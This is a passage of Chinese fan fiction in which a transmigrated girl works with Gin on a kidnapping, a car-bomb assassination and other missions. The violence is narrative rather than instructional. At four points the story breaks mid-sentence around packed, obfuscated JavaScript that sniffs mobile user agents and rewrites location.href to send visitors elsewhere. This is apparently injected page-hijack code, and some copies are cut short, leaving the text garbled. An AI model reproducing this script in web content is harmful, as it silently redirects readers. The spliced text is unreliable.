三个月下来我们已经培养出了一些默契,我一个眼神他就知道我又在打什么主意了——当然,他一个眼神我也知道现在是时候递枪了。 “说。”他放下喝了一口的咖啡,等待我出招。 我状似专注地在煎蛋上戳笑脸,实则偷偷瞄着他,扭扭捏捏地起头:“那个,大哥啊,我们能不能打个商量?” 他眉头一挑,让我说下文。 “我们能不能放慢完成任务的速度啊?” “原因?”经过我这些时日以来的各种折磨,这种程度的话语已经不会引起多大波澜了。 稍微有点怀念第一个月时还会与我真刀真枪干架的琴酒呢。 不是表达我是受虐狂的意思,只是觉得迫害不到他没什么成就感。 可能琴酒就是发现了这一点,反应才这么平淡吧。 看出我就是纯闲不住、纯无聊才去撩拨他对叛徒特别敏感的那根神经。 怎么作都不肯用怀疑叛徒的态度对待我了,觉得我在浪费他的感情。 啊,好像又走神了,我心虚地偷看他的表情。 ……嗯,见怪不怪地继续吃饭了。 显得我很没有存在感啊! 我嘤嘤假哭起来:“这样每天两眼一睁就是干活的日子我真的过不下去了!大哥你算过我们每天的睡眠时间吗!还有吃饭!每次都是草草糊弄过去,像这样正常地吃饭还是稀有场景!”我思及伤心处,不禁真的掉下一滴眼泪,“我不想再过昼夜颠倒,吃了上顿没下顿的生活了!我不想长不高!呜呜,再这样下去我要怎么长到170啊……” 其实在琴酒身边我睡得很踏实,毕竟不用担心琴酒半夜一枪把我给崩了,不过为了争取更好的待遇,我不得不夸大一些。 我泪眼朦胧地看着他:“大哥你体谅一下我吧,我不想当小矮子!”我怕这番话分量不够,又把他的处境也考虑进来,“大哥你也不想长不高吧!高度不够的反派多没有威慑力啊,难道大哥你喜欢仰头看人吗!” 像是被我的一番肺腑之言震撼到了,琴酒放下杯子,眼神犀利地作沉思状。 我抽抽噎噎地观察半晌没说话的琴酒,心想,都这样说了,他应该不至于不同意吧? “从下个任务起,给你保证充足的睡眠和美食。”琴酒36度的嘴居然能说出这么温暖的话! 我热泪盈眶:“大哥你真好!有这样的待遇,我会一直跟着你干的!” “哼,就这点出息。”他端起餐盘走人,却没催促我快点吃——他真是个好人! 成功抗争之后,我过上了跟之前相比简直算是摸鱼般的生活,在每个任务地点居然能有一天用于踩点,一天用于执行,然后一天用于休息了!可喜可贺,琴酒你终于也学会挥霍组织的资金了! 我跟在琴酒后面出示护照,通过安检,然后坐上了去往美国纽约的飞机。 说起来,我终于有能够过上正常生活的假身份了——还得感谢琴酒帮我申请,理由是方便移动。 假身份叫‘当归苓’,是我起的,跟琴酒的假身份一样是十八岁。 我跟他扮演一对高中毕业就迫不及待地去环游世界见世面,且父母双亡拥有大笔遗产的兄妹。 顺便一提,琴酒叫‘当归翼’,是我磨了很久才让他臭着脸答应的结果。 我磨人的手段很直白。我在各个时间会出现在各个地方,包括但不限于半夜三更潜进琴酒的安全屋,然后求他答应叫‘当归翼’这个名字。那可真是一场漫长的拉锯战,我不达目的不罢休,连Trigger都用上了,每天惊心动魄地和琴酒斗智斗勇,一连坚持了三个月才终于逼得他答应了。 对了!我甚至还用这个身份买了个房子——组织的工资确实很吸引人——就买在米花町,不过没有靠近主角团,我还不想这么早就被掀马甲。 不出意外的话,它应该会是我接下来十几年都会用心经营的身份。 至于琴酒,他肯定不会耐烦一直当‘当归翼’的,等他什么时候要跟我拆伙了,我的哥哥‘当归翼’估计也就会意外死掉了。 我还没忘记在正片里伏特加才是他的好搭档,现在跟我搭档不过是暂时性的罢了。 这是我们搭档半年后第一次和协助去别的代号成员,之前基本上是我们俩就能搞定,或许琴酒有跟别人合作但他没跟我说?算了,我对其它组织干部也没有兴趣,抓住分量最重的反派就行。 本次任务是去给贝尔摩德打下手,她要暗杀某个议员,然后需要狙击手。 可能是因为这个任务不容有失,Boss直接把我们俩派给了贝尔摩德打辅助。 贝尔摩德作为神秘主义者的日常就是神龙见首不见尾。 直到我们在酒店安顿下来,休整了几个小时后,都没见她发来除了任务情报以外的任何消息。 我在洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293717|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手台前细细梳理着睡乱了的银色假发,因为兄妹要有相似的外貌特征,我以后以‘当归苓’的身份生活时可都得是一头银发了。 带假发本身不是问题,保留了寸头的我套上假发那是意外的舒适。 第一次发现戴假发原来这么方便的我当即订购了许多顶奇形怪状的假发,什么粉色双马尾、蓝色大波浪、鲜红高马尾、墨绿辫子等等,应有尽有。寸头真是好文明啊,能让我无痛尝试那么多以前就想试试的发型。 问题是我还不太习惯有长头发。 我时常会觉得疑惑,琴酒他披着那头长发真的不挡视线吗?不会老想把落到眼前的头发扎起来吗? 我烦躁地把头发都拢起,扎了个高马尾后又用另一根皮筋将盘起的头发固定好。 不过戴假发也有好处,我可以有效避免自己的毛发被有心人取走。 在琴酒身边我学到了很多,还查漏补缺了一些训练营里教过,但在实际运用中有缺点的知识。 以他的谨慎程度,要是我真疏忽到让别人拿到了我的DNA,我在他眼里估计立刻就成废物了。 说起来,琴酒的狙击技术难道是从儿童时期就开始练了吗,他指导我的时候也是让我收获颇丰。 这就是天赋型选手吗。 我郁闷地抛开我们之间的天赋差距,决定出门吃独食去。不喊琴酒,反正他对吃饭的态度是能充饥就行,吃酒店提供的餐食就够。 我先穿好方便活动的紧身衣,再挑了件有口袋的半身裙。 长长的裙子能把底下绑的东西不露痕迹地藏起。 上半身是一件能容纳很多小玩意儿的外套,换上与之相配的手套,我满意地看着这套不露半点皮肤的穿搭,套上运动鞋。 我数了数要带的东西:相机,房门钥匙,钱包,手机,护照,还有一些杂七杂八可能会用到的东西。 把重得可以当成板砖使的相机挂在脖子上,再将其它的一股脑装进背包,我给琴酒发了个‘我出门了’的短信,就踏上觅食之旅了。 我在街边晃悠着,就着好天气拍了许多照片。 随意进了家装潢顺眼的餐厅,可能是还没到饭点的缘故,里面人不多。 我挑了个靠窗的位置,点了他们推荐的经典套餐后,无所事事地望着街道上的熙熙攘攘发呆,偶尔发现了有意思的事情还拍照记录了下。 出餐的速度还算快,我看着端上来的淋了酱汁的牛排,面包和沙拉有点没有灵魂地赞叹了一下——好标准的洋人饭。 味道还不错,没有让我很失望。 一顿饱餐后,我付了钱,继续参观纽约。 这里的治安勉强还可以吧?虽然路上有些奇怪的人朝我搭话要零钱之类的,但目前还没人来抢劫我,也许是因为有警力在巡逻吧。 我漫无目的地来了场暴走,记录很多我觉得好看的风景。 我翻着照片,只觉得自己的拍摄技术有很大长进,看看这构图,这光线,我说不定很有摄影的天赋呢。 13. 第十三章 一直在外面闲逛到了夜幕降临,我才返回了酒店。 “嘭嘭嘭!”我有节奏地拍着琴酒的房门,差点忍不住说一句‘你别躲在里面不出声,我知道你在家!’。 我被自己的想象逗笑,嘴角压都压不下去。 琴酒看着我呲着大牙的模样,凉凉地说:“玩得很开心?嗯?” “当然!”我走进他房间,把我今天拍的照片全塞给他。 他一张张翻看着,把纯风景照撇掉:“别把你的游客照混进来。” “我想让欧·尼·酱欣赏一下我的拍照水平嘛——”我故意在称呼上读了重音,然后偏头躲开他扔过来的水瓶,“怎么了嘛?欧尼酱?不要害羞嘛。” “好好说话。”琴酒恶声恶气地警告我。 “才不要——欧尼酱这个反应实在是太可爱了!”我捧着脸一副卖萌的样子道。 “有什么收获?”他懒得理我,略过了关于称呼的讨论,直接问道。 我稍微恢复了点正经的模样,走到桌子前,在摊开的地图上用笔画了几条路线:“你之前给我的几个选项都可以当我们的撤离路线,有的地方可以抄小路走。” 我和琴酒的分工一直都是他给出可行方案,我去实地调查踩点。 我又圈出几个地方:“这些是警局。”换了个颜色,我画出他们的巡逻路线。 “没有拍到目标人物吗?”他把所有有用的照片放在床上,问道。 “没有哦。确实和情报里说的一样,防护非常严密。我只拍到了他的儿子,在某个酒吧附近。”我找出说的一张明显是偷拍的照片指给他看:“喝得醉醺醺的和人在巷子里拥吻呢。我过去确认相貌的时候还要听他前言不搭后语地讲话,真烦人。能忍着他满身酒气接吻的那个人可真厉害。”我嫌弃地叙述道。 “倒是和情报里的描述对得上号。”琴酒没对有了如此糟心经历的我表露一丝同情。他好冷漠!我跟系统悄悄控诉道。系统对我每隔几分钟就要抱怨的行为已经脱敏了,只敷衍地回应了我几句。 我撇了撇嘴,把思绪放回任务上。 “贝尔摩德是这次任务的主导人,由她决定计划。”琴酒按着眉头,对于主导权不在他手里这件事不太满意。 “那她已经提出计划了吗?”我反坐在椅子上,来回转着笔。 “听说那个议员还挺喜欢他的儿子的,她想绑架他儿子,然后假扮他,做出要从天台跳下去自杀的样子引来那个议员,从而给我们提供狙击的机会。”琴酒简单概括到。 “真的看重吗?”我提出疑点:“那怎么会把孩子养成这样呢?他真没有私生子?” “要么是捧杀,把他推出来当靶子,要么就是这个儿子不简单。”琴酒眯了眯眼,赞同我的推论。 “所以要现在就去绑人吗?我在他儿子身上粘了定位器,还能找着他。”我给琴酒展示了用于追踪的显示屏,上面有一个一动不动的红点。 琴酒在手机上摁,估计是在给贝尔摩德发消息询问:“十分钟后出发。” 我从善如流地换装并打包必备品去了。 半夜三更正是杀人放火的好时候。 坐上我们租的车,我对着镜子调整帽子的角度,让它尽可能地遮住我的眼睛:“大哥,绑了之后把人放哪儿啊?”我已经取掉了假发,恢复到最习惯的形象,没必要让‘当归苓’这个身份牵扯进绑架案。 “不归我们管,把人交给贝尔摩德就行。” “喔,那倒还挺省事的。”我盯着定位,红点还在酒吧附近。 我准备好家伙什,又戴上口罩,然后跟琴酒在酒吧隔壁的那条街下车。 刚走没多远,我们就在一条小道里发现了昏迷的目标,他的同伴都不见人影。 我毫不含糊地先捂住口鼻麻醉他,又给他注射了肌肉舒缓的药剂,才敢小声嘟囔:“简直谁都可以捡尸啊。” “附近一个保镖或者同伴都没有?”我手上不停地把他手脚都捆好,还捏了捏脸确认没有易容,要是绑了贝尔摩德那可真是大乌龙了。 我瞅着他的脸看了看,掏出湿巾擦了擦——没发现什么明显的化妆痕迹。 我给他戴上头套,事情太过顺利时,我又开始疑心:“我们是不是被钓鱼了?故意让我们绑走?” 琴酒把人脱得光溜溜只剩一条短裤,然后扛起他放入后备箱,“一会儿绕几圈看有没有人跟踪我们。” 我拿着琴酒递给我的衣服,坐在后面翻找着定位或窃听。 翻来翻去,只找到了我自己留下的那一枚,我将它回收,然后向窗外张望着。 马路上有且只有我们这一辆车。 “大哥,看起来他是个真草包?”我扒着前座说道。 “离我远点。”琴酒十分不满这个距离:“不管他是不是,最坏情况下一枪崩了就行。” 我点点头,靠着车窗,忽然瞄见了一个二十四小时便利店:“大哥你停一下,我下去买点吃的和喝的。” 我从后视镜里接收到了琴酒嫌弃的眼神。 虽然嫌弃我,但还是停下车了,“快去快回。” “统,琴酒莫非是傲娇人设?”我快乐地在便利店里挑零食和饮料,然后结账。 “不,他只是想借此机会确保没人尾随吧。”系统认真地跟我分析道。 我偷笑着作出一副恍然大悟的样子:“原来是这样啊。” 我想跟琴酒分享一下我买的东西,可他却毫不关心,只专注地开车。 我扯开三明治的包装,自顾自的吃了起来。 感觉琴酒好像是我的司机哦。不行,我也要学车,学了车才能扩大我的活动范围。 我像小学生一样举手:“大哥,本次任务后我申请休假三个月!” 琴酒抽空瞥了我一眼:“理由?” “我想学车,不然老是让大哥给我开车这多不好意思啊。”我憨笑着挠头。 “哼,想得美。” “休假驳回。”我想他肯定是在报复我说他是司机! “为什么啊——”我拖长了音。 “驾照抽空学就行,其余时间照常出任务。”这个话题就这么翻篇了。 琴酒又东绕西绕了许多回才驶向我们真正的目的地。 吃饱的我有力气干活了,我像扛麻袋一样把目标扛进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293718|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋子里。 我故意颠了颠他,肩膀顶到他的腹部也发现他的呼吸节奏没有任何变化。 不像是在装睡。 我把人放在椅子上,五花大绑,又架了几台摄像机方便我们在隔壁屋子里观察他。 “大哥,我绑好他了,你要再检查一下吗?”我捣鼓着广播和设备,问着刚停好车进来的琴酒。 他用行动回答了我。 我透过屏幕看他围着椅子上的人转了一圈后才出来。 “贝尔摩德一会就来。等她易容完成后,我们就不需要这个人了。”琴酒拉开我旁边的椅子坐下。 我拧开芬达,边喝边朝他比了个OK的手势。 我们轮流假寐休息了大半个小时才等来贝尔摩德。 “琴酒,好久不见。”一个相貌普通的女人走进了安全屋。 “人在里面。”琴酒没接她的寒暄,直切主题道。 贝尔摩德转头看向我,“这位是?” “叫我苓就好。”我微笑着自我介绍道,不知道贝尔摩德还记不记得我。 她没表现出什么特别的反应,估计是不记得了。 我跟琴酒坐在显示屏前看着贝尔摩德量了那个人的身高,肩宽,胸围,腰围之后,仔仔细细地端详他的脸又从各个角度都拍了照片。 “这样就足够制作面具了?”我颇有求知欲地问道。 “对啊。”贝尔摩德自信地笑道。 “这个人可以处理掉了?”琴酒显然不关心□□的制造方法。 贝尔摩德沉吟片刻:“我现在有两个方案,一是铺垫他要自杀,那样要花几天的工夫,二是营造有人威胁他跳下去的假象,这样比较简单粗暴,你们选哪个?” “为什么要制造假象?真的威胁他不行吗?”我有点疑惑干嘛要把事情搞得那么复杂,弄个简单的计划不好吗。 贝尔摩德看了我一眼,“也不是不行。” “我们把他放在议员工作的地方对面的天台上,然后趁他出来查看的时候狙击怎么样?”计划的核心就是要让那个议员暴露在我们的瞄准镜下,不过我这个随口一说的设想确实有点太粗糙了。 “把他儿子绑上炸弹,放进他的车里,让他去撞那个议员的车。引爆炸弹后没死的话,再补上狙击,贝尔摩德混在人群里作为最后的保险进行近距离射击,然后确认目标的死亡。”琴酒按以往发号施令的语气说完才想起这次不是他全权负责的任务,补了一句:“你觉得怎么样,贝尔摩德?” “可以。”我们就此达成共识。商议完计划后,麻醉的药效刚好过了,“你们是谁?绑架我要干什么?!”可喜可贺,他终于醒酒了。 我们看着他在椅子上剧烈挣扎,“进去给他注射十二个小时的麻醉,然后丢到车里。”琴酒递给我一管药,示意我去。 “那我刚刚不就白绑了他吗?”我嘟囔着照做。 人失去视觉之后,其它五感会变得敏锐,他听见我开门的声音,立刻问道:“你们想要什么?钱?我可以让我父亲给你们打钱!” 我径直把他打晕,找到静脉注射。 可惜,你要死得不明不白了。 14. 第十四章 天蒙蒙亮的时辰,我们按照计划各自各就各位。 倒霉蛋和车子已经在他们家附近准备好了,只等议员要上车时就可以开始计划了。 贝尔摩德负责□□,我和琴酒在方向相反的两个狙击点埋伏,争取一击制胜。 在寒风里吹了好一会儿,我感觉自己的手指都有点不太灵活了。我正呼出热气,试图暖和指头,无线电里就传出贝尔摩德的声音:“准备。” 我看着议员的身影消失在后座,一辆小车突然从侧路里疾驰出来朝他们撞去。保镖的车在这个时候反而成了障碍,载着议员的那辆车进退两难,最后还是以撞上前车为代价,没被小车完全撞翻,只是后半截被卡在墙壁和小车之间,没法把人迅速救出来。 现在就是最好的时机了。 小车应景地发出一声爆炸,那是驾驶座的炸弹。熊熊燃烧的火光引起车子二次爆炸。 “苓,打爆议员那辆车的油箱,然后撤到第二狙击点。”我条件反射地按琴酒说的做。 我忽然想到这还是他第一次叫我的名字呢,以往都没有喊我名字的必要。 别说,还挺不习惯的。 我背着大提琴包移动——抄袭了苏格兰的创意,不过确实很方便,我都不需要拆卸狙击枪,塞进去就能带走了。 跑动过程中我有些意外居然没听到行动结束的通知,那样的爆炸还炸不死他吗? 爬着仿佛永无止尽的楼梯时,我确实对狙击手这个位置感到了厌倦,有Trigger的话就能很轻松地在房顶跳来跳去了,或者像隐岐一样用Grashopper完成大幅度移动。 我顺利地移动到了备用狙击点,重新架起狙击枪,问道:“还没结束吗?” 贝尔摩德已经关掉了无线电,在事故现场专注地扮演一位帮忙打急救、火警和报警电话的慌张路人,只有琴酒还能回复我。 “再观察一下灭火后有没有人被救出来。”符合我对琴酒一贯的认知。 我们耐心地等啊等,火警和救护车终于姗姗来迟,这个速度能救下谁啊我请问呢? 存活的保镖们虽然有努力扑火,但他们提前准备的液氮罐很快告罄,而且也仅仅是延缓了几秒火势的蔓延。 专业的人员和设备果然更给力一些,火势终于有了点要熄灭的迹象。 看着几具焦黑的、勉强还能看出人形的尸体从车辆残骸里被抬出来,琴酒发来了行动结束的信号。 对不起,让你们死得这么痛苦。 我叹了口气,慢慢拆卸狙击枪放进大提琴包。 我站在路边踢着石子玩,等琴酒来接我。 “……这是不可避免的。不要太在意了,不然会被发现不对劲的。”系统又给我做心理辅导。 “嗯。”我闷闷地应声。 坐上车后,我认出我们这是要回酒店的样子:“大哥,接下来都交给贝尔摩德就好了吗?” “经她确认某具尸体的DNA和那个议员相符的话,这个任务就宣告结束了。”琴酒把车停在酒店门口,“在那之前我们留在这里待命。” “喔。那我们还要去接应她吗?” 琴酒一副这是什么废话的样子看着我。 见我还没理解他的意思,他干脆挑明道:“在离开纽约之前是自由活动时间。” 我惊喜地反复确认:“真的吗大哥?你不是在骗我玩?” “当我跟你一样幼稚?”他放我离开前又补充道:“保持手机通畅。” “嗯嗯!知道了,大哥!”我忙不迭地点头,迫不及待地冲回房间去换衣服。 换回‘当归苓’装扮的我这次是真的漫无目的地在游荡了。 不知不觉间我走到了唐人街,闻着里面传出来的香气,我心情顿时好了点。 愉快地进去胡吃海喝了一顿家乡的美食,我捂着肚子散着步慢慢消食。 然后就听见了女人凄厉的叫声。 我拔足狂奔冲进小巷里,大声制止道:“嘿!你干嘛呢!” 几个混混循声看来,笑得很恶心地朝我逼近,还留了一个仍在对那个女生施暴。 “啧。垃圾到处都有啊。”顾及到那个女生,我掏出手枪打算速战速决。 我犹豫了下是直接射击还是先口头警告一下。 风把头发吹到我脸上,我说:“还不走的话我就开枪了。” 原本被震慑到了的混混们听着我这番话又壮了胆子:“虚张声势!她拿的肯定是假枪!” 真是人善被人欺。 我本来想让他们少受点苦的,怎么就不知感恩呢。 我挑了个看起来是头头的人,十分仁慈地只打了他的左肩。 知道我手里的是真家伙后,他们立刻认怂:“请、请饶我们一命吧。” “再做这些勾当,下次瞄准的就是头了。”我微笑着警告。 被残害的那名女子像抓住救命稻草似的躲到我身后,我忍着想要把她摔出去的冲动任由她揪着我的衣袖。 “不会了!不会了!再也不会了!”他们连连保证。 说谎。明明下次还会去残害别的女性,一群不知悔改的家伙。 干脆死在这里,一劳永逸。 见我阴晴不定的,没有放下枪的意思,他们跪在地上痛哭流涕:“我们发誓从此以后会改邪归正,再也不会去害别人了!” 一只手突然覆上我的手背,吓得我差点又给那些混混来一枪。 “我们报警。让警察来处理,他们还不值得你背上人命。”那名女子说道。 我顺着她的力度缓缓放下手臂。 “你们敢在警察来之前偷溜就别怪我打断你们的腿了。”我丢下这句话,拨通了报警电话。 真搞笑,一个现役犯罪分子居然主动报警。 我自嘲地想,旋即和那名女子一起跟警察描述情况。 “谢谢你救了我。”她真挚地同我道谢。 “……没事,顺手而已。”我有点不懂该怎么反应,只是干巴巴地回道。 “我能为你做点什么吗?”她眼睛亮晶晶地望着我,“请一定让我有机会报答你!” 我招架不太来这种程度的热情,暗自往后撤了几步,故作活泼道:“那你能给我推荐一些美食吗?我就来旅游几天,除了华人街以外,还没吃到令人惊艳的食物呢。” 女子如数家珍地跟我列举了许多店名,我听着听着忍不住短信的形式记录下来——嘻嘻,都是发给琴酒的,毕竟他是我通讯录里的唯一一个联系人嘛。 一开始他还给我回个问号,一番轰炸后我发现他把我拉黑了。 我撇撇嘴,关掉手机。 正好警察这时也赶到了。 混混们一副劫后余生的模样被押上警车,我与那名女子都得去做笔录。 我跟她坐在同一辆警车上,没忍住拍了好几张照片——第一次坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293719|167040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 警车,纪念一下。 到了警局门口,我再次拍了一下:“抱歉,我人生中第一次进警局,想拍给家人看看。”我跟身边的警员解释道。他容我拍了一张就制止了我的行为。 我做完笔录出来后,那个女生已经被警察送回家了。 我婉拒了让警察送我回酒店的提议——虽然带着警察敲琴酒的门,他一定会露出很有趣的表情,但是事后绝对会把我往死里打。 所以这个死我暂时不作了。 ——等回了日本再作,嘿嘿。 “欧尼酱——你还醒着吗?”我有节奏地敲响琴酒的门,迫不及待地想要跟他分享。 “你看!”门拉开的一瞬间我就把新拍的照片怼到他眼前。 “怎么?在哪杀人惹上条子了?”他随手把照片搁桌上,双手抱胸看着躺倒在床上的我。 “好过分啊大哥!你明明知道我不会做这种事的。”我控诉道,在这方面我们意外地合拍,除了目标以外,不对无辜的人下手——他是嫌麻烦,我是不想平添杀孽。 “所以怎么回事?” “是见义勇为啦,救了个女生。”我望着天花板发呆。 琴酒很有耐心地等着我继续说,虽然我也看不到他有没有在认真听。 “大哥,你说,我们这么累死累活地为Boss打工是为了什么呢?为组织工作了这么久,我连Boss的面都没见过,而且他,或者她?吝啬地连个代号都不愿意给我。”我打算初步试探下琴酒对于篡位的认可度。 “……别让我再从你口中听到这些话。”琴酒的语气冷了下来,是在很认真地警告我。 “怎么了嘛,大哥,摆出那么恐怖的样子。”我坐起身来,果不其然看见他隐隐散发杀气的面庞。 我翘起腿,托着腮:“说起来,大哥你到底为什么那么拼命刷任务啊?Boss把你养大的你要报答她?” “这不是你该知道的事。”琴酒把我提溜起来往门外推。 “诶?这就要赶我走了吗?不彻夜长谈,彼此交心了吗!”我努力对抗他推我的力量,“我对大哥你的过去可是很好奇的哦。” 我扒着门框继续道:“我也可以把我的经历说给你听啊,如果你是那种别人不先说自己就不说的类型的话。” “闭嘴。”他直接冷酷地拒绝了我的谈心邀请。 把我彻底关在门外之前,他说:“别让我发现你背叛组织。我可不会手软。” “才不会呢,我不是都说了要跟着大哥干了吗。”我笑嘻嘻地接话。 他毫不留情地关门。 我站在门外沉思着。 下一刻他又把门打开,把照片扔到我脸上。 “欧尼酱!对你的妹妹再温柔点呗!”我故意冲着房门作撒娇状。 半点反应都没有。 我将照片一张张捡起,回了自己的房间。 “统,他刚刚说的是不要背叛组织而不是Boss诶。这是不是说明他看重组织多过看重Boss?”我跟系统逐字逐句地分析道,“我们的离间计说不定还能派上用场哦。要是琴酒发现Boss没了,但组织还在的话,你说他是会杀了我为Boss报仇呢,还是同意我的提议自己出任Boss呢?” “很难说,毕竟我们都不知道他因何那么忠诚。” “是啊,原著里都没写。” “希望我跟琴酒不用走到决一死战的地步吧。” 15. 第十五章 事件发生的一天后,我被警察找上门询问我是否有见过那个议员的儿子。 我仔细看着他们提供的照片,然后作回忆状:“我好像有见过吧?那晚似乎是有人醉醺醺地跟我搭话来着……我不想理他,也不想惹麻烦,当时差点就打算报警了,多亏他的同伴拉住了他,我才得以离开。” “我有点被吓到了,在那之后就回酒店休息了。”我以‘当归苓’的身份如实道来,“这个人怎么了吗?”我状似好奇地打听道。 “听他的同伴说,你当时携带了一个相机,可以请你给我们看看你拍的照片吗?说不定能提供一些线索。”他们礼貌要求道。 “哦,好。”我把摊在桌上的照片全部交给他们,“我刚好在欣赏自己的作品。” 嗯,有问题的照片都阅后即焚了。 “感谢你的配合,女士。”他们看完照片后,没再继续盘问。 傍晚,贝尔摩德发来后续:FBI接手了,怀疑是恐怖袭击,但没什么线索,目前没有进展。 两天后,我们订了机票返回日本。 * “我收回之前不给你休假的话。”把我送回我名义下的房产时,琴酒突然又说起了我心心念念的假期。 “哦?大哥,怎么说?打算给我批假了吗?”我兴奋地道。 “三个月,给你学驾照。”我还没来得及欢呼,他继续道:“同时我好好教你一些狙击技术和近战技术,再带你去做点除了杀人之外的任务。” “耶——啊?”我忽然转折的声音听起来搞笑极了。 “抗议无效。”琴酒停好车,“训练从明天开始。” 他把我和我的东西丢在家门口后,扬长而去。 “不是!琴酒他搭错哪根筋了?!要找个由头光明正大报复我?”我难以置信地跟系统吐槽道。 充实的日子一天天过去,我每天就是在驾校,训练场和家里来回奔波,两眼一睁不是练车就是和琴酒打架或者互狙——现在的我已经可以肆无忌惮地撩拨老虎胡须还毫发无伤了。 拿到驾照的那一天刚好有个交易的任务,我死缠烂打地邀请琴酒坐我的车去交易地点。 在各个地方看了许多辆车后,我不得不承认琴酒的保时捷356A是一辆十分好看的车。 我追随琴酒的脚步选了辆银色的保时捷356A。 “大哥快上车啊!我今天必然让你体验一下我精湛的驾驶技术!”我看出琴酒的不情愿,亲自为他拉开了副驾驶的门。 “我自己开车去。”琴酒充分地表示了对我驾驶技术的不信任。 我脸一垮,直接上手生拉硬拽,“不行,大哥你今天必须坐我的车去!”我凭着一股牛劲,抱着他的腰就往车里拖:“大哥都载过我这么多次了,我一定要回报你!” 天天近身痛殴,我们对于肢体接触已经有些脱敏了,起码琴酒会容忍我对他上手了,虽然只有短短的几秒他就一脚踹过来了。 我松开手往后跳去,然后得意洋洋地朝他展示手里的两个车钥匙:“放弃挣扎吧大哥!事实已成定局哈哈哈——”我嚣张地笑道,手一翻,钥匙都消失不见。 琴酒也懒得再跟我掰扯,脸色黑黑地落座副驾驶。 我哼着小曲欢快地点火。 我们还是以兄妹的身份出行,但是到地方了后得换身装扮。 “我还是第一次去游乐园,大哥,我们一会儿能不能先去游玩一下再去交易啊,反正我们出发得很早。”我一路都情绪高涨,反观琴酒微妙的很紧绷,全神贯注地盯着路况,还一副随时会抢我方向盘的模样。 我开得真的很糟糕?驾校教练不是这么跟我说的啊。 平稳地停好车之后,我们像普通的游客一样检票入园,然后去开了个储物柜。 把要交易的手提箱放进柜子里后,我们的任务就只剩接头并交换钥匙了。 进入游玩状态的我拿着游乐园的地图,当即选定了第一个要去的地方:“欧尼酱——你陪我去坐过山车嘛——”我直接把自己当成真的妹妹,兴致冲冲地拉着哥哥去排队。 琴酒冷着一张脸陪我上了过山车。 芜湖——!琴酒都能陪伏特加,那我当然也要让他陪我复刻柯南第一集! 接下来我们又游玩了许多项目,走遍了整个园区。 我估计琴酒是看在能摸透地形的份上才没拒绝。 不过有的项目我怎么拽他他都不去,迫不得已,我只好自己上去玩了。 这样反推的话,琴酒是不是对某些项目其实还挺感兴趣的? 鬼屋是我们走完一圈后的最后一个项目,我可惜地望着入口。 两辈子我都不敢进去,上辈子是因为胆小,这辈子是不想赔偿工作人员的医药费。 “走吧,吃完饭去见面。”琴酒把依依不舍的我带走。 享用了一顿昂贵但好吃的晚饭,我们找了个偏僻无人的厕所进行换装后,再次往过山车的方向走。 这个游乐园的过山车占地面积很大,坐在上面能清晰地将一半乐园尽收眼底。 在它和鬼屋的附近有一片枝繁叶茂又安静的树林,我们确认过了,就算坐在过山车上也没法看到树林里是否有人——那就是我们的接头地点。 我戴着口罩,给手枪安装好消音器后,藏到后腰,长长的风衣能让枪械的形状不那么明显。 一上来就拿枪指着交易对象显得我们很不友好。 对方也来了两个人,一身腱子肉配上纹身,看着就很□□。 “弹药都放在储物柜里了,交换钥匙就行。”琴酒问他们索要钥匙道。 “不行,我们怎么知道你们是不是真的放了弹药?”其中一个人质疑道。 我翻了个白眼:“我也很怀疑你们是不是根本没带钱,抱着黑吃黑的想法来的。”双方都不相信彼此,情况陷入僵局。 我们也没法一直僵持下去,于是琴酒提出了解决方案:“我们各留一个人在这,让同伴去检查,等双方都确认无误再离开,怎么样?” “……行。”他们答应了,不过似乎有点不情愿。 琴酒跟对面的人互换了钥匙,“你在这里等我消息。” 在外人面前,我要贯彻高冷杀手的人设,淡淡朝琴酒颔首。 我跟另一个人无聊地大眼瞪小眼。 他几次试图发起话题都被我不咸不淡地挡回去了。 “啊哈——”我余光瞥着旁边席地而坐的人,忍不住打了个哈欠,留守的任务也太无聊了。 我闲得和系统唠嗑:“统,你还记不记得上次琴酒带我试的那个模拟训练?那逼真度简直跟Border里的场景模拟差不多啊。” “风速、水流、场景、人物、湿度都能模拟,虽说只能提供两百码以内的距离,稍微有点鸡肋了,而且偶尔会很多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 